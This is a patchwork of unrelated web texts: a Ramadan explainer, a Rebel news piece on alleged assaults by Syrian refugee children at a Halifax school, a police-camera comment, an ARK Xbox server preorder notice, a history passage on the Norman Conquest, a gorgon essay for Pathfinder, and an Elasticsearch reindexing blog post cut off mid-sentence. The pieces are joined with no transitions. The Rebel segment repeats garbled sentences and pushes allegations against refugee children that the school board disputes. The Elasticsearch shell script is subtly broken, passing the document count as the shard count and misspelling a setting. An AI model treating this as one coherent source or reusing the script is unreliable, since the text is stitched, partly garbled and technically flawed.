Fasting during Ramadan is considered one of the 5 Pillars of Islam. The five Pillars of Islam are monotheism, daily prayer, charity, Ramadan fasting, and pilgrimage to Mecca. Muslims believe that the Gates of Heaven open during this month and the Gates of Hell close.
The Islamic Calendar is based on the Lunar Calendar, similarly to the Jewish religion.
The end of Ramadan will be marked by the sighting of the new moon which is expected either on the 29th or 30th day with a days-long festival marking Eid Al-Fitr that is expected to begin on Wednesday, July 6, or Thursday July 7.
In addition to religious observation and prayer, Muslims also are expected to increase their charitable contributions to those in need.
Because Ramadan is based on the Lunar Calendar, that means the start date begins about 11 days earlier later each year. As daylight is extended during the Summer months compared to Winter months, fasting could be as much as 15 hours per day, from dusk until dawn. The longest daylight day of the year is June 21, which will occur during this year’s Ramadan observance as it did last year.
Observant Muslims will refrain from eating or drinking during daylight hours, breaking the fast with an Iftar meal at dusk, each evening. Fasting is only required for individuals who are physically able to do so. The elderly, the sick and the mentally ill are exempt. Women who are pregnant, nursing or menstruating are also exempt from fasting. Fasting is performed to learn discipline, self-restraint and generosity, while obeying God’s commandments.
Fasting is not unusual. Christian Catholics Fast in observance of their religious beliefs during Lent each year.
A popular first food eaten my Muslims at dusk and during the Iftar, or break in fasting after Sunset is the Medjool Date. But meals will also include many popular Middle Eastern meals. Many Muslims, especially in the West, will invite non-Muslims to join them for Iftar dinners as a sign of respect and coexistence. In turn, many Christians and Jews who live in Muslim countries will observe Ramadan by not eating in public.
A typical greeting in Arabic during Ramadan is “Ramadan Mubarak” and “Ramadan Kareem” which mean a blessed or generous Ramadan.
Ramadan Mubarak to our Muslim friends.
— Ray Hanania
A great source for Medjool Dates is available from Ziyad Brothers Importing. Visit their website at www.Ziyad.com or at www. PalestineDates.com for more information.
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ORIGINAL STORY: canadian-media-cover-up-of-muslim-refugee-children-using-chains-to-choke-a-9-year-old-canadian-girl-with-a-chain
The Rebel an article by the Chronicle Herald detailed multiple instances of Syrian refugees assaulting Canadian children. The article featured comments by a woman nicknamed “Missy” who explained how her daughter had been choked with a chain and her son had been visibly threatened on the soccer field. an article by the Chronicle Herald detailed multiple instances of Syrian refugees assaulting Canadian children. The article featured comments by a woman nicknamed “Missy” who explained howwith a chain and her son had been visibly threatened on the soccer field.
The story was pulled soon after it was posted with members of the left-wing media decrying the story as “racist,” “Islamophobic,” “xenophobic” or simply just not true. In place of the story, an apologetic message was left in its place saying the story needed more research and was “insensitive” to the refugees.
Multiple parents and even one student spoke to Rebel reporter Faith Goldy who confirmed initial reports in the Herald’s story. We sat down with Missy, a mother quoted in the original story. She says she feared backlash, and being branded a bigot. Missy said that she had run out options at the school after learning her daughter was allegedly choked twice in one week by two different refugee students.
Missy said, “it’s happening a lot. And it hasn’t just been this week. There has been numerous things that have happened. Not just with my kids.” She also confirmed that that refugees had shouted “Muslims rule the world” while choking her daughter.
“They stopped intramurals in school due to rough play. The kids are being slammed to the ground, choked, and hit. It’s not fair,” she said.
Days after being choked for a second time, Missy’s daughter was allegedly slapped across the face by a refugee student. When Missy reported the incidents to the principal, she ran into another child with a welt on her face after she, too, was smacked. Missy told The Rebel that addressing bullying of any sort is a problem school-wide; but now, there seems to be a double standard at play.
Another parent who didn’t want her name used, spoke to us and revealed that her daughter had also been slapped in the face by a Syrian refugee. But when the mother’s daughter told the school they simply told her to not approach the refugee students. “[The school] told her not to go near them, walk away, that’s their solution for everything.”
We reached out to Halifax Regional School Board spokesperson, Doug Hadley, so see if these allegations were being investigated. He said:
“We have to stand up and stop allowing people target a specific group or suggest groups of people behave in a certain way based on who they are and where they’re from. We have to be tolerant of all people and respect their differences. Students have to follow the rules, but we have no indication that any of the allegations in that original article actually happened.”
He then said that no student or parent had come forward, which was a direct contradiction to what the parents we had spoken to told us.
“When we look at the specific allegations … we ask the school what do you know about this… they tell us not only did they not see anyone doing those things, no parent, no student ever came forward to tell an adult that this was a problem or it would have been dealt with immediately.”
“Some of the parents at the centre of this article, the school was speaking to just last week and will continue to speak with them,” Hadey admitted despite the fact he just claimed no student or parent had come forward about the refugee problem.
So, which was it? We asked one mom if she thought there is a cover up at Chebucto Heights right now. She answered:
One thing in this video caught my ear, however. At the end of the video (after the 4:40 point), police voices can be heard beginning to discuss what happened, and then saying, “Turn it off. Turn it off. Everybody should be off.” Then the dashcam video apparently ends. Seems like they were talking about turning off all dash cams and body cameras.
This suggests to me that police cameras should remain on until any officers involved in a “critical incident,” such as a shooting, are removed from the scene to give their initial statements. (I don't know if that's standard operating procedure after a shooting but if it's not seems like it should be.)
The reason for this is to prevent cover-ups and story-synching by any officers who might, after an incident, be inclined to tidy up their version of events including evidence. I can't recall seeing such a requirement in any of the body camera policies I've seen. Most have language requiring that officers record “until the completion of the event or they have left the scene” or a supervisor authorizes them to stop, or the like. One easy fix for what I'm saying might be to simply change the “or” in that phrase to an “and.”
The wait is over: Get in your preorders now and be among the first to set foot on the brand new Nitrado servers for ARK on Xbox One.
How to get a server
All purchases regarding ARK Xbox One servers will have to go through our Microsoft Store app. The app can be installed on an Xbox One or any Windows 10 PC.
On Xbox One, until the app is properly listed in the Microsoft Store search, you can use the following store code to get the app:
RQ9WV-GFQWR-QK7GD-XJ7P7-Y367Z
When will preorders be fulfilled?
We will start installing the preordered servers the moment the respective update for ARK on Xbox One releases. Before this update rolls out, it would not be possible to connect to our new servers.
At that point, preorders will be fulfilled in the order they‘ve been received in, each hosting location independently. Please note that it will not be possible to change the hosting location for an already preordered server.
Questions?
But no judgement on the Conqueror could be separated from the Conquest, and here naturally Orderic found praise more difficult. He accepted the Norman argument that William’s claim to the throne was sound and that the invasion had been justified by Harold’s perjury. But, as we have seen, as an Englishman he could not condone the way that the new king had mercilessly crushed the opposition to his rule. The Harrying of the North in particular Orderic saw as a terrible stain on William’s record. ‘I chastised a great multitude of men and women with the lash of starvation, and was, alas, the cruel murderer of many thousands’ – such are the words that the chronicler puts into the king’s mouth in his deathbed monologue. Orderic also distinguishes between the Conqueror, whom he thought noble and peace-loving, and the Normans as a whole, for whom he reserved less favourable language:
They arrogantly abused their authority and mercilessly slaughtered the native people, like the scourge of God smiting them for their sins … Noble maidens were exposed to the insults of low-born soldiers and lamented their dishonouring by the scum of the earth … Ignorant parasites, made almost mad with pride, they were astonished that such great power had come to them and imagined that they were a law unto themselves. O fools and sinners! Why did they not ponder contritely in their hearts that they had conquered not by their own strength but by the will of almighty God, and had subdued a people that was greater and more wealthy than they were, with a longer history?
Other chroniclers writing closer to the time had similarly negative things to say about the Conquest, and in some cases even harsher criticism. While those in France generally took vicarious pride in the Norman achievement, seeing it as a triumph of Frankish arms, elsewhere in Europe opinion was more mixed. A Bavarian writer called Frutolf of Michelsberg, for instance, thought that William had miserably attacked and conquered England, sending its bishops into exile and its nobles to their death. Worse still was the opinion of another German, Wenric of Trier, who in 1080 lambasted Gregory VII over his relationship with certain rulers. Some of the pope’s so-called friends, he said, had ‘usurped kingdoms by the violence of a tyrant, paved the road to the throne with blood, placed a bloodstained crown on their heads, and established their rule with murder, rape, butchery and torment’. No names are named, but the new king of England is clearly the ruler intended: during the same year Gregory himself wrote to William, lamenting the criticism he was having to endure on account of his earlier support for the Conquest.
Contemporary Englishmen, by contrast, had less to say on the subject, probably because it was still too painful to contemplate. ‘So William became king’, sighed Eadmer of Canterbury around the turn of the eleventh century. ‘What treatment he meted out to those who managed to survive the great slaughter, I forbear to tell.’ The chief exception to this general reticence was the author of the Anglo-Saxon Chronicle, whose obituary of William has been used extensively in the preceding pages. Apparently written before 1100, it provides a long, detailed and evidently well-informed assessment of both the king and the Conquest. ‘We shall write of him as we have known him,’ the chronicler says, ‘we who have ourselves seen him, and at one time dwelt in his court.’ Like Orderic he praised William for his wisdom and power, noting that in spite of his sternness the king was kind to those who loved God. Religion, indeed, had flourished during his reign; he himself had built a new abbey at Battle, Canterbury Cathedral had been rebuilt, and so had many others. With the same note of approval the chronicler recalled that William had kept great state and maintained good order, imprisoning rebels and castrating rapists. The Domesday Survey is described in terms of awe, as is the king’s authority within the British Isles: Wales was in his dominion, and Scotland he had reduced to subjection by his strength. Had he lived only two more years, the author reckoned, William would have conquered Ireland as well.
But then the chronicler switches to a list of bad things, saying ‘assuredly in his time men suffered grievous oppression and manifold injuries’. Top of the list were the castles that the Conqueror caused to be built ‘which were a sore burden to the poor’. Then there was his apparent avarice – the hundreds of pounds of gold and silver he had taken from his subjects ‘most unjustly and for little need’. Lastly there was his introduction of the Forest, with its harsh law that oppressed rich and poor alike. William, concluded the chronicler, was too relentless to care though all might hate him. If his subjects wanted to keep their lives and their lands they had to submit themselves wholly to his will.
Even this fairly restricted summary of the Conqueror’s reign indicates that in the space of two decades William and his followers had wrought enormous change. By 1087 no fewer than nine of England’s fifteen ancient cathedrals had been burnt down or demolished and new Romanesque replacements were rising in their place. In the course of the next generation the remaining six would also be similarly rebuilt, along with every major abbey – the sole exception, of course, being the Confessor’s abbey at Westminster, which had pre-empted the revolution. And it was a revolution, the single greatest in the history of English ecclesiastical architecture. Visit any of these churches today, and you will not find a single piece of standing pre-Conquest masonry. So total was the Norman renaissance that no cathedral was entirely rebuilt in England until the early thirteenth century, when Salisbury was moved from Sarum. The next wholesale rebuilding after that occurred in the seventeenth century, when Wren rebuilt St Paul’s.
A similar revolution had taken place in secular architecture with the introduction of castles. Again, with the exception of a handful of pre-Conquest examples built during the Confessor’s reign, England had never witnessed anything like it, which explains the bitterness of the Chronicle’s complaint. Famous royal fortresses like Windsor, Warwick, York, Norwich, Winchester, Newcastle, Colchester and the Tower of London – all of them had been founded by the Conqueror himself, along with scores of others too numerous to list. And that was just the royal ones. Across the country, wherever new Norman lords of any substance had settled, similar castles had been erected in their hundreds, to which their numerous surviving mottes and earthworks still bear witness. Because they are difficult to date with precision, the total number remains an estimate, but at a conservative count around 500 were in existence by 1100, the overwhelming majority having been built in the years immediately after 1066. When we add to the castles and the cathedrals the disruption caused by the creation of the new royal forests, which displaced thousands of people from their homes, or the deliberate devastation of northern England, which killed many thousands more and effectively reduced Yorkshire to a desert, it becomes easy to sympathize with the Chronicle’s lament.
Some modern historians, however, would dismiss such changes as short-term or superficial. Economies might have been devastated but they soon recovered; cathedrals and castles were essentially a cosmetic change. Contemporary chroniclers might complain loudly but, living through the events they describe, they lack any long-term historical perspective. At a fundamental level, say the continuists, the Conquest changed very little.
But in advancing this argument, such historians, willingly or no, are effectively siding with the Normans themselves, for the line maintained by William and his followers was precisely that nothing had changed. The Conqueror came to the throne claiming to be the true heir of Edward the Confessor. At his coronation, as the Anglo-Saxon Chronicle recalled bitterly, the new king had sworn to rule England ‘according to the best practice of his predecessors’. A short time later he assured the citizens of London that their laws would remain as they had been in the Confessor’s day. And then, of course, there was the Domesday Book, which made every new Norman landowner the legal heir of one or more English predecessor, taking as its baseline ‘the day on which King Edward was alive and dead’.
But this was all a fiction. In reality, William had succeeded not Edward but Harold, and to do so he had fought the Battle of Hastings, one of the bloodiest encounters in European history. Yet nowhere in the official record is this reality admitted, nor the changes that had taken place as a result. King Harold, for example, is almost totally expunged from the Norman account of the Conquest. Apart from a few writs issued at the very start of the reign, no official document accords him his royal title: he is simply Harold, or Earl Harold. In the Domesday Book his reign has been almost entirely airbrushed from the record, the scribe accidentally alluding to it only twice in two million words. This was not sour grapes but rigorous legal logic. If the Conqueror was the Confessor’s direct heir, it followed that whatever had happened in the twelve months between Edward’s death and William’s accession must have been an aberration.
The notion that nothing changed in 1066, in short, owes much to a rewriting of history by the Normans themselves. It was precisely what William wanted us to believe, such was his desire to be regarded as England’s legitimate king. And for a long time historians did believe it. Until quite recently, those who had delved into the Domesday Book emerged greatly impressed by the scale of continuity it appeared to demonstrate, with every Norman newcomer stepping neatly into the space or spaces vacated by his English predecessors. It took the advent of computer-aided analysis to reveal that Domesday’s formulae in fact conceal massive tenurial disruption. The Anglo-Saxon Chronicle, summing up the Conqueror’s reign, comes closest to recognizing that there was a great gulf between what the Normans said and what they actually did. ‘The louder the talk of law and justice,’ it complains, ‘the greater the injustices they committed.’
Even if we reject (as some historians still do) the notion that the Norman settlement created a pattern of landholding that was radically different from the one that had existed before, what Domesday demonstrates beyond any question is how totally the Conquest had replaced one ruling elite with another. By 1086 the English were entirely gone from the top of society, supplanted by thousands of foreign newcomers. This transformation had almost certainly not been William’s original intention. His initial hope appears to have been to rule a mixed Anglo-Norman kingdom, much as his predecessor and fellow conqueror, King Cnut, had ruled an Anglo-Danish one. But Cnut had begun his reign by executing those Englishmen whose loyalty he suspected and promoting trustworthy natives in their place. William, by contrast, had exercised clemency after his coronation and consequently found himself facing wave after wave of rebellion. The English knew they were conquered in 1016, but in 1066 they had refused to believe it. As a result they met death and dispossession by stages and degrees, until, eventually and ironically, the Norman Conquest became far more revolutionary than its Danish predecessor. ‘In King William’s twenty-first year’, said Henry of Huntingdon, ‘there was scarcely a noble of English descent in England, but all had been reduced to servitude and lamentation.’
From this change in the ruling elite, enormous consequences flowed, because the English and the Normans were two quite different peoples. William of Malmesbury, in a famous passage, describes the Battle of Hastings as a fatal day for England, a disaster which had caused the country to exchange ‘old masters for new’. He then goes on to outline the differences. The English, he says, were abandoned to gluttony and lechery, lax in their Christianity and addicted to wassail. They lived out their lives in small, mean houses, preferring to load their tattooed skin with gold bracelets, eating till they were sick and drinking until they spewed. The Normans, on the other hand, were well dressed to a fault, particular about their food and more obviously religious. A crafty, warlike people, they built great proud buildings in which they lived a life of moderate expense.
Although narrow in its focus and infected with moral hindsight – the English here are sinners who clearly have it coming – in general this picture of two different cultures convinces. It was not just haircuts that distinguished the English from the Normans, but a whole range of practices and attitudes. Take, for example, warfare. Wherever we look in pre-Conquest England, the emphasis seems to be almost entirely naval. Edward the Confessor defends his people by sailing out from Sandwich every summer, and is appeased by a gift of a great, gilded warship. Taxes are raised on the basis of crew sizes, fleet and army are virtually interchangeable terms. We seem, in short, to be looking at a model that has much in common with contemporary Scandinavia. By way of total contrast, to read the sources for pre-Conquest Normandy is to enter a world dominated by cavalry and castles. Here the prestigious gifts are not ships but horses. Indeed, when ships are eventually needed in 1066, they have to be begged, borrowed or built from scratch.
Similarly, the fact that the Normans built castles reveals that they had different ideas when it came to lordship, which they had come to equate with control over land. They strove to acquire new estates, built castles to defend them, and endeavoured to transmit them, unbroken, to their successors. So strong did the association between lord and location become, the Normans even started to name themselves after their principal holdings. ‘I, Roger, whom they call Montgomery’ is how the Conqueror’s old friend described himself in a charter of the mid-1040s.
This desire for land was a matter of huge moment after the Conquest of England. Some of William’s followers, like those of King Cnut, had fought for money and gone home as soon as they had received it. But many thousands of others came wanting land, and ended up staying to create a new colonial society. They settled across England, tearing up the old tenurial patterns in the process, reorganizing their estates as manors and erecting castles to serve as their administrative centres. Naturally the colonists wanted to govern and control these new lordships according to their own familiar customs, and so further change followed. New baronies developed courts of their own, and sometimes even sheriffs, which stood apart from and cut across the existing English system of shire and hundred courts. New laws were introduced to reflect different attitudes towards inheritance, favouring the firstborn son so that the patrimony remained intact. Toponymic surnames, which had formerly found no place in pre-Conquest England, suddenly appear thereafter. In their determination to carve out new lordships, the Normans treated the surviving English harshly, forcing many men who had formerly held land freely to become rent-paying tenants, often on extremely onerous terms. Frutolf of Michelsberg may have erred somewhat in saying that the Conqueror had killed off the English aristocracy, but his claim that the king had ‘forced the middle ranks into servitude’ comes fairly close to the truth.
At the same time, another different attitude meant that the fortunes of those at the very bottom of English society were perceptibly improved. Slavery, which was already a thing of the past in Normandy by 1066, had still been going strong in England. Yet by 1086 there had already been a sharp decline: where Domesday allows us to compare figures, the number of slaves has fallen by approximately twenty-five per cent. Historians have generally ascribed this change to economics, pointing out that the Normans, in their quest for cash, preferred to have serfs holding land and paying rent rather than slaves who worked for free but who required housing and feeding. This may have been part of the reason, but another was certainly that some sections of Norman society felt that slavery was morally objectionable. William himself, as we have seen, had banned the slave trade, apparently at Lanfranc’s prompting, and is said to have freed many hundreds on his expedition to Wales. The ban cannot have been wholly effective, since ‘that shameful trade by which in England people used to be sold like animals’ was again condemned in an ecclesiastical council of 1102. Significantly, however, this was the last occasion on which the Church felt it necessary to issue such a prohibition. By the 1130s, slavery was gone from England, and some contemporaries knowingly attributed its absence to the Conquest. ‘After England began to have Norman lords then the English no longer suffered from outsiders that which they had suffered at their own hands’, wrote Lawrence of Durham. ‘In this respect they found foreigners treated them better than they had treated themselves.’
And this was also true in another respect. With the sole exception of Earl Waltheof, no Englishman was executed as a result of the Conquest. Along with their belief that slavery was wrong, the Normans had introduced the notion that it was better to spare one’s opponents after they had surrendered. The English had been practising political murder right up to the eve of the Conquest, but very quickly thereafter the practice disappears. ‘No man dared to slay another’, says the Anglo-Saxon Chronicle, praising William’s law and order policy, ‘no matter what evil the other might have done him.’ The last execution of a nobleman on royal orders took place in 1095, and after Waltheof’s execution in 1076 no earl was executed in England until the early fourteenth century. The Conquest ushered in almost two and a half centuries of chivalric restraint.
Lastly, the Normans had brought with them their zealous commitment to the reformed Church. ‘The standard of religion, dead everywhere in England, has been raised by their arrival’, wrote William of Malmesbury in the 1120s. ‘You may see everywhere churches in villages, in towns and cities, monasteries rising in a new style of architecture, and with a new devotion our country flourishes.’ The statement that religion was dead everywhere is, of course, an exaggeration. Historians nowadays would point to England’s existing links with Rome in 1066, and argue that the boom in the building of parish churches had begun before the Conquest. Yet there can be no doubt that the Normans accelerated these nascent tendencies enormously. William and Lanfranc saw an institution much in need of reform, and set about introducing separate Church courts, archdeacons and Church councils. Practices such as simony and clerical marriage were banned. And Malmesbury’s point about the rising number of religious houses is borne out by the figures. In 1066 there were around sixty monasteries in England, but by 1135 that number had more than quadrupled to stand at somewhere between 250 and 300; in the Confessor’s day there had been around 1,000 English monks and nuns; by Malmesbury’s day there were some four to five times that number. In the north of England, monasticism had been wiped out by the first wave of Viking invasions in the late ninth century, and there is no sign of any native attempts to reverse this situation in the century before the Conquest. Yet within just a few years of the Norman takeover – very soon after the Harrying – the north witnessed a remarkable religious revival, with monasteries founded or restored at Selby, Jarrow, Whitby, Monkwearmouth, Durham and York. There is no clearer example of how conquerors and reformers marched in step.
For anyone who doesn’t already know, beside from being the guy that scripts what monsters go into the Pathfinder RPG’s hardcover bestiaries, I used to be the editor in charge of the monster ecologies series for Dragon magazine and was the editor-in-chief of Dragon: Monster Ecologies. Monsters are the reason I got into RPGs and I’ve spent a significant portion of my career and off-hours researching monsters, cryptids, aliens, and the collections (both scholarly and fantastical) that detail them. So I like to think I know a thing or two about monsters, particularly those that have appeared in RPGs.
So, gorgons…
Like the OP says, the two monsters above are both technically gorgons… right? From Greek mythology we know that the name “gorgon“ collectively refers to the monstrous sisters Stheno, Euryale, and Medusa (the trio being a particularly monstrous vision of the triple-deity theme running through so many mythologies). Beyond even this, though, numerous films, games, and other works of fiction have referenced the gorgons for their fearful nature and ability to petrify those who look upon them. Snakes, at the very least in Medusa’s case, typically also enter into the mix.
So then who’s this guy?
The first edition Dungeons & Dragons Monster Manual would tell you it’s a gorgon. A few pages later, it will also tell you that a different race of snake-hair petrifiers are called medusas. So now we have two very different looking creatures with the ability to petrify who both draw inspiration from the Greek myth of Perseus and Medusa. Did the Monster Manual just get it wrong?
Possibly. No scholar’s looking to 1977’s collection of threats for D&D as a gospel source on world myth. That said, the creators of Dungeons & Dragons were no slouches when it came to drawing upon historical and mythological sources when populating their fantasy game. In a pre-internet world, Gygax’s personal interests in myth and medievalism didn’t take him to his home computer. Rather, it was likely led him to his personal and public library.
Were Gygax’s sources just flawed? Likely not. Rather, the creator of the fantasy RPG genre was probably looking at more primary sources than we—mired in an internet full of niche articles (like this one)—typically do. (Don’t let this suggest that the creators of D&D were entirely high-minded historians, though. They were just as nerdy as today’s game designers and certainly weren’t against adding creatures from whole-cloth imagination and their favorite pulp adventures into their new game—ask me about the displacer beast some time.)
So what sources might result in Medusa and her sisters being simultaneously presented in something like their classical form, while only pages earlier being spun off as weird bull monsters.
One possibility is that the Monster Manual conflated the classic gorgon with the Khalkotauroi—fire-breathing bronze bulls that also hail from Greek myth. They’re cool, dangerous monsters, but they’ve got a name that’s not terribly recognizable and is kind of a mouthful. It’s possible the Khalkotauroi were renamed “gorgons” in an edit that prioritized accessibility over mythological sanctity, and so lent their bovine shapes and metal skin to the creature that would be the gorgon, but the story’s likely more complicated than that.
There’s another significant mythological ungulate known for being able end a life from fifty paces: the catoblepas. Mythological accounts of the creature claim that its breath or gaze could either kill or petrify a person—both appealing powers for tormenting heroes. So could the gorgon be a renamed version of the catoblepas? Well, the catoblepas appears in the first edition Monster Manual, so probably not… or maybe.
The truth of the matter likely involves all of the above, along with Gygax’s likely familiarity with Edward Topsell 1607 zoological text, The Historie of Foure Footed Beasts. In his work, Topsell presents a zoological exploration of the world—a world he was hardly an authority on. Rather than basing his work on his personal observations, Topsell cited diverse zoological accounts, including the Swiss Historiae Animalium and Pliny’s somewhat dated Natural History from circa 77–79 C.E.—“therefore we will follow the authority of Pliny and Atheneus” (Topsell 1607, pp 263). Among such mundane creatures as dogs and weasels, the author included numerous facts he had on good authority from writers like Pliny—who included imaginary beings like cynocephalus and monopods in his Natural History. Among Topsell’s work are such facts as elephants having the coldest blood in the world and bearing an intense hatred for dragons (1607, pp 198). Topsell also includes whole creatures entirely on his predecessor’s recommendations.
One such inclusion was the “strange Lybian Beast” or the “Gorgon.” Topsell describes the creature as such:
“It is a feareful and terrible beast to beholdd, it hath high and thicke eie lids, eies not very great, but much like an Oxe or Bugils, but all fiery-bloudy, which neyther looke directly forwarde, nor yet upwards, but continuallye downe to the earth, and therefore are called in Greeke Catobleponta. From the crowne of their head downe to their nose they have a long hanging mane, which maketh them to looke fearefully. It eateth deadly and poysonfull hearbs, and if at any time he see a Bull or other creature whereof he is afraid, he presently causeth his mane to stand upright, and being so lifted up, opening his lips, and gaping wide, sendeth forth of his throat a certaine sharpe and horrible breath, which infecteth and poysoneth the air above his head, so that all living creatures which draw in the breath of that aire are greevously afflicted thereby, loosing both voyce and sight, they fall into leathall and deadly convulsions.” (1607, pp 262)
Here we finally find the gorgon presented as an ox- or bull-like beast with breath that kills. But Topsell’s book isn’t just known for its detailed descriptions, it’s famed for its lavish inclusion of dozens of woodcut images. Even the mundane woodcuts are still fascinating, investing creatures like rhinoceroses and baboons with fantastical aspects, whether they be in poses no natural creature would strike or possess radically embellished features. Which of course implies that even the entirely fictional creatures—like the lamia, manticore, and sphinx—receive illustrations. The gorgon, though, bears the highest honor in the book, with its depiction of a mop-topped scale-bull occupying the collection’s front cover. From this piece it’s easy to infer how the scaled, gas-mouthed bull of the Monster Manual took shape.
How can we be sure that Gygax knew anything about Topsell’s book, though? Flip through the rest of The Historie of Foure Footed Beasts and you’ll find numerous other connections to the pages of Dungeons & Dragons bestiaries. While several classical myth stock creatures make appearances, there are a couple of peculiarities. Lamia, the tragic Libyan queen of Greek myth, for example, appears not as an individual but as an entire species of amalgam woman-lion creatures, just like in the Monster Manual. There’s also a creature listed as “Wilde Beast in the New found World called SU,” which, with its monkey-like limbs and prominent tail, parallels the su-monster from 1976’s Eldritch Wizardry. These, along with the appearances of other obscure D&D creatures, like the crocotta, suggest if not a familiarity with Topsell’s work, at least Gygax’s knowledge of other medieval bestiaries.
But any historic evidence of bull-gorgons aside, the ship is certainly sailed on the name “gorgon” as it pertains to Pathfinder RPG monsters. Even without the aforementioned sources, deference to Mr. Gygax’s work alone would be more than enough to keep the gorgon the creature it is. The Pathfinder RPG owes its existence to a 40-year-old tradition of gaming, ripe with entirely unique peculiarities and nostalgia. Even if the gorgon’s name were a decades-old typo, it would be a typo that’s been propagated across games, bestiaries, articles, and adventures, to say nothing of the memories of gamers all over the world. That momentum—that pedigree—alone has a value that neither I, nor any game-maker at Paizo, would casually part with.
Fantastic question. Thanks so much for asking!
~W
Work Cited
Topsell, Edward. The History of Four-Footed Beasts. London: Printed by William Iaggard, 1607.
Other Reading
References to Libya in the Histories of Herodotus
Strange Science Goof Gallery: Mammals
Topsell on the Gorgon
Wikipedia: Edward Topsell
This time, we won’t reindex Blackhole but Blink. Blink stores the data we display in our clients dashboards. We need to reindex them every time we change the mapping to enrich that data and add new feature our clients and colleagues love. A glimpse at our infrastructure Blink is a group of 3 clusters built around 27 physical hosts each, having 64GB RAM and 4 core / 8 threads Xeon D-1520. They are small, affordable and disposable hosts. The topology is the same for each cluster: 3 master nodes (2 in our main data center and 1 in our backup data center plus a virtual machine ready to launch in case of major outage)
4 http query nodes (2 in each data center)
20 data nodes (10 in each data center) The data nodes have 4*800GB SSD drives in RAID0, about 58TB per cluster. The data and nodes are configured with Elasticsearch zones awareness. With 1 replica for each index, that makes sure we have 100% of the data in each data center so we’re crash proof.
We didn't allocate the http query nodes to a specific zone for a reason: we want to use the whole cluster when possible, at the cost of 1.2ms of network latency. From Elasticsearch documentation: When executing search or GET requests, with shard awareness enabled, Elasticsearch will prefer using local shards — shards in the same awareness group — to execute the request. This is usually faster than crossing racks or awareness zones. In front of the clusters, we have a layer 7 load balancer made of 2 servers each running Haproxy and holding various virtual IP addresses (VIP). A keepalived ensures the active load balancer holdes the VIP. Each load balancer runs in a different data center for fault tolerance. Haproxy uses the allbackups configuration directive so we access the query nodes in the second data center only when the two first ones are down. frontend blink_01
bind 10.10.10.1:9200
default_backend be_blink01 backend be_blink01
balance leastconn
option allbackups
option httpchk GET /_cluster/health
server esnode01 10.10.10.2:9200 check port 9200 inter 3s fall 3
server esnode02 10.10.10.3:9200 check port 9200 inter 3s fall 3
server esnode03 10.10.10.4:9200 check port 9200 inter 3s fall 3 backup
server esnode04 10.10.10.5:9200 check port 9200 inter 3s fall 3 backup So our infrastructure diagram becomes:
In front of the Haproxy, we have an applicative layer called Baldur. Baldur was developed by my colleague Nicolas Bazire to handle multiple versions of a same Elasticsearch index and route queries amongst multiple clusters. There's a reason why we had to split the infrastructure in multiple clusters even though they all run the same version of Elasticsearch, the same plugins, and they do exactly the same things. Each cluster supports about 10,000 indices, and 30,000 shards. That's a lot, and Elasticsearch master nodes have a hard time dealing with so much indexes and shards. Baldur is both an API and an applicative load balancer built on Nginx with the LUA plugin. It connects to a MySQL database and has a local memcache based cache. Baldur was built for 2 reasons: to tell our API the active index for a dashboard
to tell our indexers which indexes they should write in, since we manage multiple versions of the same index. In elasticsearch, each index has a defined naming: <mapping version>_<dashboard id> In baldur, we use have 2 tables: The first one is the indexes table with the triplet id / cluster id / mapping id That's how we manage to index into multiple versions of a same index with the ongoing data during the migration process from one mapping to another. The second table is the reports table with the triplet client id / report id / active index id So the API knows which index it should use as active. Just like the load balancers, Baldur holds a VIP managed by another Keepalived, for fail over.
Using Elasticsearch for fun and profit Since you know everything you need about our infrastructure, let's talk about playing with our Elasticsearch cluster the smart way for fun and, indeed, profit. Elasticseach and our indexes naming allows us to be lazy so we can watch more cute kitten videos on Youtube. To create an index with the right mapping and settings, we use Elasticsearch templates and auto create index patterns. Every node in the cluster has the following configuration: action:
auto_create_index: +<mapping id 1>_*,+<mapping id 2>_*,-* And we create a template in Elasticsearch for every mapping we need. PUT /_template/template_<mapping id>
"template": "<mapping id>_*",
"settings": {
"number_of_shards": 1
"mappings": {
"add some json": "here"
"mappings": {
"add some json": "here"
} Every time the indexer tries to write into a not yet existing index, Elasticsearch creates it with the right mapping. That's the magic. Except this time, we don't want to create empty indexes with a single shard as we're going to copy existing data. After playing with Elasticsearch for years, we've noticed that the best size / shard was about 10GB. This allows faster reallocation and recovery at a cost of more Lucene segments during heavy writing and more frequent optimization. On Blink, 1,000,000 documents weight about 2GB so we're creating indexes with 1 shard for each 5 million documents + 1 when the dashboard already has more than 5 million documents. Before reindexing a client, we run a small script to create the new indexes with the right amount of shards. Here's a simplified version without error management for your eyes only. curl -XPUT http://esnode01:9200/<new mapping id>_<dashboard id> -d ‘{ “settings.index.number_of_shards” : ‘$(( $(curl -XGET http://esnode01:9200/<old mapping id>_<dashboard_id>/_count | cut -f 2 -d : | cut -f 1 -d “,”) / 5000000 + 1))’}’ Now we're able to reindex, except we didn't solve the CPU issue. That's where fun things start. What we're going to do is to leverage Elasticsearch zone awareness to dedicate a few data nodes to the writing process. You can also add some new nodes if you can't afford removing a few from your existing cluster, it works exactly the same way. First, let's kick out all the indexes from those nodes. PUT /_cluster/settings
“transient” : {
“cluster.routing.allocation.exclude._ip” : “<data node 1>,<data node 2>,<data node x>”
} Elasticsearch then moves all the data from these nodes to the remaining ones. You can also shutdown those nodes and wait for the indexes to recover but you might lose data. Then, for each node, we edit Elasticsearch configuration to assign these nodes to a new zone called envrack (f$#!ed up in French). We put all these machines in the secondary data center to use the spare http query nodes for the indexing process. node:
zone: 'envrack' Then restart Elasticsearch so it runs with the new configuration. We don't want Elasticsearch to allocate the existing indexes to the new zone when we bring back these nodes online, so we update these index settings accordingly. curl -XPUT http://esmaster01:9200/<old mapping id>_*/_settings -d ‘{
“routing.allocation.exclude.zone” : “envrack”
}’; The same way, we don't want the new indexes to be allocated to the production zones, so we update the creation script. #!/bin/bash shards=1
counter=$(curl -XGET http://esnode01:9200/<old mapping id>_<dashboard_id>/_count | cut -f 2 -d : | cut -f 1 -d “,”) if [ $counter -gt 5000000 ]; then
shards=$(( $counter / 5000000 + 1 ))
fi curl -XPUT http://esnode01:9200/<new mapping id>_<dashboard id> -d ‘{
“settings” : {
“index.number_of_shards” : ‘$counter’,
“index.numer_of_replicas” : 0,
“routing.allocation.exclude.zone” : “barack,chirack”
} More readable than a oneliner isn't it? We don't add a replica for 2 reasons: The cluster is zone aware and we only have one zone for the reindexing
